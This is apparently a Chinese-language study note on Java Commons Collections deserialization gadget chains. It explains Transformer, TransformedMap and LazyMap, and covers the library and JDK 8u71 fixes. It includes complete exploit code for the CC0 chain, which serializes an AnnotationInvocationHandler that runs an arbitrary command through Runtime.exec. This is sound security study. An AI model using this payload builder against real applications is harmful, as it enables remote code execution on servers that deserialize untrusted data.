Java 常见组件

sky123

Commons Collections

Apache Commons Collections 是⼀个著名的辅助开发库,包含了一些 Java 中没有的数据结构和和辅助方法,不过随着 Java 9 以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。

在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

前者是 Commons Collections 老的版本包,当时版本号是 3.2.1;后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。

因为官方认为旧的 commons-collections 有⼀些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons/collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons/collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

Transformer

Transformer 是一个接口,具体代码如下,可以看到这个接口只有一个 transform 方法。

1
2
3
public interface Transformer {
Object transform(Object var1);
}

Transformer 可以说是 CC 链的核心,几乎所有的 CC 链都依赖于 Transformer。我们可以简单的把 CC 链总结为:寻找一个类,这个类自定义的 readObject 方法会直接或间接的触发对指定 Transformer 对象调用 transform 方法的代码。

由于我们可以用一系列 Transformer 接口实现类实现代码执行流的完全控制,因此当调用 transform 方法的时候,就可以执行我们的恶意代码。

调用 transform 方法的对象

TransformedMap

TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加(写入操作)新的元素时,将可以执行一个回调。我们通过下面这行代码对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map

1
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

注意

在 Common-Collections4 中 decorate 方法改名为 transformingMap,但是在实现上没有变化:

1
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain)

TransformedMap#decorate 函数是一个工厂方法,该方法会实例化一个 TransformedMap 对象,并且根据参数设置 keyTransformervalueTransformer 成员。

1
2
3
4
5
6
7
8
9
10
11
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
// 使用父类构造器包装原始 Map
super(map);
// 保存转换器(可为 null,表示不转换)
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

另外 TransformedMap 构造函数还会调用父类构造函数,而 TransformedMap 有如下继承关系:

TransformedMap

其中在 AbstractMapDecorator 的构造函数中会设置 map 成员,也就是保存被修饰的 Map

1
2
3
4
5
6
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}

被修饰后的 outerMap 在存储新元素时,就会调用 transform 方法对键值对做一个转换。这个过程就类似在调用⼀个“回调函数”,这个回调的参数是原始对象。

例如 TransformedMap.put 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object; // 无转换器,返回原始 key
}
return keyTransformer.transform(object); // 调用转换器转换 key
}

protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object; // 无转换器,返回原始 value
}
return valueTransformer.transform(object); // 调用转换器转换 value
}

public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}

注意

get 方法不会触发 transformKey 函数调用,这是因为 TransformedMap 并没有实现 get 方法,因此 get 实际上调用的是 org.apache.commons.collections.map.AbstractMapDecorator#get,最终调用的是内部被修饰的 mapget 方法:

1
2
3
public Object get(Object key) {
return map.get(key);
}

另外对 TransformedMap 继承的 AbstractInputCheckedMapDecorator 有内部类 MapEntry 用来描述 TransformedMap 中存储的键值对。下图描述了 TransformedMap 及其父类 AbstractInputCheckedMapDecorator 的内部类之间的所属关系。

MapEntry

其中 MapEntry 中的 setValue 方法会调用 parent 也就是 TransformedMapcheckSetValue 方法。

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

TransformedMapcheckSetValue 方法会调用 valueTransformertransform 方法对 value 做转换。

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

这里要解释一下为什么 AbstractInputCheckedMapDecorator$MapEntryparentTransformedMap

首先 AbstractInputCheckedMapDecorator 有三个内部类:

  • EntrySet :包装原始 Map.entrySet() 的返回值,为 Map.Entry 提供额外行为(如拦截、校验等)。
  • EntrySetIterator :用于遍历 EntrySet,在 next() 时返回包装过的 MapEntry
  • MapEntry :包装原始的 Map.Entry,其主要职责是在 setValue() 被调用时,对传入的 value 值进行校验或转换,通常会回调 parent.checkSetValue(...)

当我们调用 map.entrySet().iterator().next().setValue("newValue") 这整条链时,系统会依次触发这三个内部类的构造过程 ,每一层都进行了一次包装,并将 parent 传递下去,最终 setValue() 调用的是包装过的 MapEntry#setValue(),从而实现了自定义的值校验或转换逻辑。

当程序显式调用了 map.entrySet(),或者隐式调用(例如 for (Map.Entry e : map.entrySet())),JVM 就会执行 entrySet 这个方法,这里实际调用的是 TransformedMap 的父类 AbstractInputCheckedMapDecoratorentrySet() 方法。

1
2
3
4
5
6
7
8
9
10
11
protected boolean isSetValueChecking() {
return true;
}

public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this); // 👈 传入 TransformedMap 作为 parent
} else {
return map.entrySet();
}
}

这里构造了一个包装后的 EntrySet,并把 this(即当前的 TransformedMap 实例)传入,作为 EntrySetparent

1
2
3
4
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent; // 👈 构造 EntrySet 时传入 parent
}

之后执行 entrySet().iterator() 调用的是 EntrySetiterator() 方法:

1
2
3
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent); // 👈 把 parent 继续传下去
}

EntrySetIterator 将传入的 parent 作为自身 parent 属性的值。

1
2
3
4
protected EntrySetIterator(Iterator iterator, AbstractDualBidiMap parent) {
super(iterator);
this.parent = parent;
}

在增强 for 循环中隐式调用 iterator()。这是遍历 Set 时的标准调用流程。其中 EntrySetIterator 是自定义的迭代器,用于对返回的 Map.Entry 做进一步包装和拦截。

再之后执行 iterator().next() 的时候,JVM 会触发 EntrySetIteratornext() 方法:

1
2
3
4
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next(); // 原始 entry
return new MapEntry(entry, parent); // 👈 构造 MapEntry 时传入 parent
}

iterator().next() 或隐式执行 for 循环时,需要返回下一个条目,这时候就需要构造一个 MapEntry。在 MapEntryparent 被初始化为最初传入的 parent

1
2
3
4
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent; // 👈 parent 正是最早的 TransformedMap
}

LazyMap

LazyMapTransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator

1
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

注意

在 Common-Collections4 中 decorate 方法改名为 lazyMap,但是在实现上没有变化:

1
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain)

LazyMap#decorate 实际上是创建了一个 LazyMap 对象,并且根据参数设置 factory 为我们传入的 Transformer 对象。

1
2
3
4
5
6
7
8
9
10
11
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

TransformedMap 不同的是 LazyMap 并不继承于 AbstractInputCheckedMapDecorator,而是直接继承于 AbstractMapDecorator。因此 TransformedMap 不继承 AbstractInputCheckedMapDecorator 中用的内部类,也就没有了 TransformedMapsetValue 的触发方式。

不过由于 TransformedMap 同样继承于 AbstractMapDecorator,因此被修饰的 Map 同样会在 AbstractMapDecorator 的构造函数中保存到成员变量上。

LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是,TransformedMap 是在写入元素的时候执行 transform,而 LazyMap 是在其 get 方法中执行的 factory.transform

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// 如果map中当前不包含key,则为key创建一个值
if (map.containsKey(key) == false) {
Object value = factory.transform(key); // 👈 调用transform转换key生成对应的值
map.put(key, value); // 将key和值放入map中
return value; // 返回生成的值
}
return map.get(key); // 如果map中已包含key,则返回对应的值
}

注意

LazyMap 在其 get 方法中执行的 factory.transform 的条件是 LazyMap 没有当前查询的 key,并且查询后会将 (key, factory.transform(key)) 放入 map

也就是说对于一个特定的 key,我们只能调用一次 transform 。除非调用 Map.clear 方法清空 LazyMap

TransformingComparator

TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。对于一些需要维护顺序的数据结构(如 java.util.PriorityQueue),如果传入 TransformingComparator 用于两个对象的比较,那么比较两个对象的时候会调用 TransformingComparatorcompare 方法。在 compare 方法内部会调用其中 transformer 成员的 transform 方法并传入进行比较的对象。

1
2
3
4
5
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

TransformingComparator 的构造函数如下,这里的 transformer 就是我们构造的 Transformer 结构,另外 decorated 如果不指定会传入 new ComparableComparator()

1
2
3
4
5
6
7
8
public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}

public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

Transformer 的接口实现类

ConstantTransformer

ConstantTransformer 在构造函数的时候传入一个对象,并在 transform 方法将这个对象再返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* @param constantToReturn 每次调用时返回的常量
*/
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

/**
* 通过忽略输入对象并返回存储的常量来转换输入。
*
* @param input 被忽略的输入对象
* @return 存储的常量
*/
public Object transform(Object input) {
return iConstant;
}

Transformer 构造的代码执行流中,我们可以把 ConstantTransformer 理解为一个常量,可以返回一个确定的对象。

这样我们就可以屏蔽前面定义的 readObject 方法触发 transform 方法调用时传入的 input 参数对我们构造的 Transformer 代码执行流产生影响。

InvokerTransformer

InvokerTransformer 可以对 transform 方法传入的对象参数调用任意方法并传入任意参数,这也是反序列化能执行任意代码的关键。

在实例化这个 InvokerTransformer 时,需要传入三个参数:

  • String methodName:待执行的函数名
  • Class[] paramTypes:这个函数的参数类型列表
  • Object[] args:传给这个函数的参数列表
1
2
3
4
5
6
7
8
9
10
11
/**
* @param methodName 要调用的方法名称
* @param paramTypes 构造方法的参数类型数组,参数不会被复制
* @param args 构造方法的参数数组,参数不会被复制
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法,并传入 iArgs 参数,即 input.iMethod(iArgs)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* 通过调用输入对象的方法将输入转换为结果。
*
* @param input 要转换的输入对象
* @return 转换后的结果,如果输入为null则返回null
*/
public Object transform(Object input) {
// 如果输入为null,直接返回null
if (input == null) {
return null;
}
try {
// 获取输入对象的类类型
Class<?> cls = input.getClass();

// 获取目标方法,根据方法名和参数类型
Method method = cls.getMethod(iMethodName, iParamTypes);

// 调用该方法并返回结果
return method.invoke(input, iArgs);

}
// [...]
}

InstantiateTransformer

InstantiateTransformer 会把传入的 input 看做是一个 Class 对象,然后调用其对应的构造函数并传入指定参数来实例化一个对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* @param paramTypes 构造方法的参数类型数组,参数不会被复制
* @param args 构造方法的参数数组,参数不会被复制
*/
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

/**
* 通过实例化输入的Class对象来将其转换为结果。
*
* @param input 要转换的输入对象,应该是一个Class对象
* @return 转换后的结果,即通过实例化Class对象创建的实例
*/
public Object transform(Object input) {
try {
// 检查输入是否是Class对象
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}

// 获取Class对象的构造方法,并使用指定的参数类型
Constructor<?> con = ((Class<?>) input).getConstructor(iParamTypes);

// 使用构造方法实例化对象,并返回结果
return con.newInstance(iArgs);

}
// [...]
}

ChainedTransformer

ChainedTransformer 也是实现了 Transformer 接口的一个类,它的作用是将内部的多个 Transformer 串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。

ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* @param transformers 要链式调用的 transformers 数组,参数不会被复制,且不能包含 null 值
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* 通过链式调用每个 transformer,将输入对象转换为结果。
*
* @param object 传递给第一个 transformer 的输入对象
* @return 转换后的结果
*/
public Object transform(Object object) {
// 按顺序依次通过每个 transformer 进行转换
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object; // 返回最终的转换结果
}

Transformer 构造代码执行流

构造任意代码执行

根据前面对 Transformer 的介绍,我们可以将 Runtime.getRuntime().exec("calc") 拆解为 runtime = Runtime.getRuntime()runtime.exec("calc") 两部分,因而有如下构造:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

然而由于 Runtime 对象没有实现 Serializable 接口,因此 transformerChain 对象是无法序列化的,因此我们还要把 Runtime.getRuntime() 拆解为 getRuntime = Runtime.class.getMethod("getRuntime")getRuntime.invoke(null)

由于 InvokerTransformer 内部会对传入的方法调用 getMethod 查找,因此构造 InvokerTransformer 时传入的参数类型需要严格按照传入的方法名对应的方法的定义来,且参数要和参数类型数量严格对应,这就是为什么实际上我们构造的是 Runtime.class.getMethod("getRuntime", null)getRuntime.invoke(null, null)(新添加的 null 表示类型或参数数组)。

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

构造任意字节码加载

TemplatesImpl 加载任意字节码有如下调用栈:

1
2
3
4
5
6
defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
main:34, DefineClassExample (com.example)

因此我们只需要想办法让程序执行流程能够到达这个调用栈中任意一个函数即可,例如 newTransformer

1
2
3
4
5
6
7
8
Object obj = createTemplatesImpl("calc");

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

Transformer 反序列化修复

Apache Commons Collections 官方在 2015 年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本 4.1 和 3.2.2。

3.2.2 版代码中增加了一个方法 FunctorUtils#checkUnsafeSerialization,用于检测反序列化是否安全。如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。

这个检查在常见的危险 Transformer 类(InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer 等)的 readObject 里进行调用。所以,当我们反序列化包含这些对象时就会抛出一个异常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property ‘org.apache.commons.collections.enableUnsafeSerialization’ to ‘true’, but you must ensure that your application does not de-serialize objects from untrusted sources.

在 4.1 版本,这几个危险 Transformer 类不再实现 Serializable 接口,也就是说,他们几个彻底无法序列化和反序列化了。

反序列化利用链

在这里插入图片描述

CC0

1
2
3
4
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:204)
at org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:192)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:451)

原理分析(AnnotationInvocationHandler→TransformedMap)

sun.reflect.annotation.AnnotationInvocationHandler#memberValuesMap 类型,可以被 TransformedMap 修饰。

1
2
3
4
5
6
7
8
9
10
11
12
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

并且在 AnnotationInvocationHandler#readObject 中会调用 memberValuesetValue 方法,进而触发 TransformedMap 中的键值对的 transformer 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// 该方法是 Java 序列化机制的“定制反序列化”回调:当 AnnotationInvocationHandler
// 从字节流反序列化回来时,先恢复字段,再做类型一致性与兼容性检查。
// 目的:保证反序列化后的注解代理内部 (type / memberValues) 与当前运行时的注解类型定义保持一致。
// 若发现成员类型不匹配,则将该成员值替换为一个“异常代理”以在后续访问时抛出明确异常。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 1) 走默认反序列化流程,把本类的可序列化字段(如 type、memberValues)读回内存
s.defaultReadObject();

// 2) 校验反序列化得到的 type 仍是“注解类型”(即一个 @interface)
AnnotationType annotationType = null;
try {
// AnnotationType.getInstance(type) 会在 type 不是注解接口时抛 IllegalArgumentException
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// 如果不是注解类型,说明序列化数据与当前代码结构不兼容,直接判定为非法对象
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

// 3) 获取该注解类型“成员名 -> 成员返回类型”的映射(例如 "value" -> String.class)
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// 4) 遍历当前持有的“成员名 -> 成员值”映射,逐项做类型一致性检查
// 注:如果某个注解成员缺值,这种情况由后续的 invoke(代理调用)时再处理,这里不强行报错。
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
// 在当前注解定义中,该成员是否仍然存在(版本演进可能导致成员被移除)
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // 成员依然存在
Object value = memberValue.getValue();

// 5) 类型一致性检查:
// - 如果 value 不是“期望的返回类型实例”,且也不是 ExceptionProxy(延迟抛错的占位对象),
// 则将其替换为 AnnotationTypeMismatchExceptionProxy。
// - 这样做可以把“错误的成员值”延迟到真正读取该注解成员时再抛出“类型不匹配”异常,
// 从而避免这里直接失败,提升兼容性与错误定位友好度。
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( // 👈 memberValue 的 setValue 方法调用
new AnnotationTypeMismatchExceptionProxy(
// 这里会把“实际值的类型+toString()”拼进错误信息中
// 注意:这一串会触发 value.toString()(若类型不匹配才会走到这里)
value.getClass() + "[" + value + "]").setMember(
// 绑定到对应的 Method(annotationType.members() 返回“成员名 -> 方法”映射)
annotationType.members().get(name)));
}
}
}
}

不过这里需要绕过 memberType != null 判断,根据调试可知:

  • memberTypes 中的 key 是构造时传入的 type 对应的类中的所有方法名字符串。
  • name 是构造时传入的 memberValues 中的某个 key

又因为 type 还要继承自 Annotation,因此因此我们构造 AnnotationInvocationHandler 的时候 type 选择 Retention.class

@Retention 本身是一个元注解,意味着它是用来注解其他注解的。@Retention 的设计也遵循了 Java 注解的规范:每个注解类型都继承自 Annotation 接口,这保证了注解类型的一致性。

1
2
3
4
5
6
7
8
9
10
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
/**
* Returns the retention policy.
* @return the retention policy
*/
RetentionPolicy value(); // 构造 `AnnotationInvocationHandler` 的时候 `type` 选择 `Retention.class` ,这样 `memberTypes` 中的键就有一个 `value` 字符串。
}

因为 Retention 中有一个 value 方法,因此 memberTypes 会有一个 value 字符串的键。我们预先在 memberValues 中存一个 value 字符串的键,反序列化的时候就可以执行到 setValue 方法。

利用代码(CC3/CC4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.*;

public class CommonsCollections0 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "sky");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

return handler;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

commons-collections4 只是将 TransformedMap.decorate 更改为 TransformedMap.transformingMap,其余不变。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.*;

public class CommonsCollections0 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "sky");

Map outerMap = TransformedMap.transformingMap(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

return handler;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

修复情况(≤ JDK8u71)

在 8u71 以后大概是 2015 年 12 月的时候,Java 官方修改sun.reflect.annotation.AnnotationInvocationHandlerreadObject 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
--- a/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java	Tue Dec 01 08:58:28 2015 -0500
+++ b/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Tue Dec 01 22:38:16 2015 +0000
@@ -25,6 +25,7 @@

package sun.reflect.annotation;

+import java.io.ObjectInputStream;
import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
@@ -425,35 +426,72 @@

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
+ ObjectInputStream.GetField fields = s.readFields();
+
+ @SuppressWarnings("unchecked")
+ Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
+ @SuppressWarnings("unchecked")
+ Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
- annotationType = AnnotationType.getInstance(type);
+ annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
+ // consistent with runtime Map type
+ Map<String, Object> mv = new LinkedHashMap<>();

// If there are annotation members without values, that
// situation is handled by the invoke method.
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
+ for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
+ Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
+ value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
+ value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
+ annotationType.members().get(name));
}
}
+ mv.put(name, value);
+ }
+
+ UnsafeAccessor.setType(this, t);
+ UnsafeAccessor.setMemberValues(this, mv);
+ }
+
+ private static class UnsafeAccessor {
+ private static final sun.misc.Unsafe unsafe;
+ private static final long typeOffset;
+ private static final long memberValuesOffset;
+ static {
+ try {
+ unsafe = sun.misc.Unsafe.getUnsafe();
+ typeOffset = unsafe.objectFieldOffset
+ (AnnotationInvocationHandler.class.getDeclaredField("type"));
+ memberValuesOffset = unsafe.objectFieldOffset
+ (AnnotationInvocationHandler.class.getDeclaredField("memberValues"));
+ } catch (Exception ex) {
+ throw new ExceptionInInitializerError(ex);
+ }
+ }
+ static void setType(AnnotationInvocationHandler o,
+ Class<? extends Annotation> type) {
+ unsafe.putObject(o, typeOffset, type);
+ }
+
+ static void setMemberValues(AnnotationInvocationHandler o,
+ Map<String, Object> memberValues) {
+ unsafe.putObject(o, memberValuesOffset, memberValues);
}
}
}

新版的 readObject 的主要变化为:

  • 不再 defaultReadObject()

    改为 ObjectInputStream.GetField fields = s.readFields();,只把序列化流中的两个字段临时读入局部变量 t(type)和 streamVals(memberValues),并没有给 this.memberValues 赋值

    旧版因为 defaultReadObject() 的存在,攻击者的 TransformedMap 会立刻成为 this.memberValues;现在它只是一个局部变量,不会被“持久化”到对象里。

  • 新建一个干净的 LinkedHashMap mv,只读复制

    由于新创建的 MapTransformer 相关结构无关,初始化完成后再用 Unsafe 写回 memberValues 字段,整个过程不会触发任何利用链。

因此 CC0 在 JDK8u71 之后失效。

CC1

1
2
3
4
5
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
at com.sun.proxy.$Proxy1.entrySet(Unknown Source:-1)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)

原理分析(AnnotationInvocationHandler→LazyMap)

前面提到过,LazyMap 修饰过的 Map 只要调用 get 方法就会触发 transform 方法。然而 AnnotationInvocationHandler.readObject 并没有调用 get 方法。

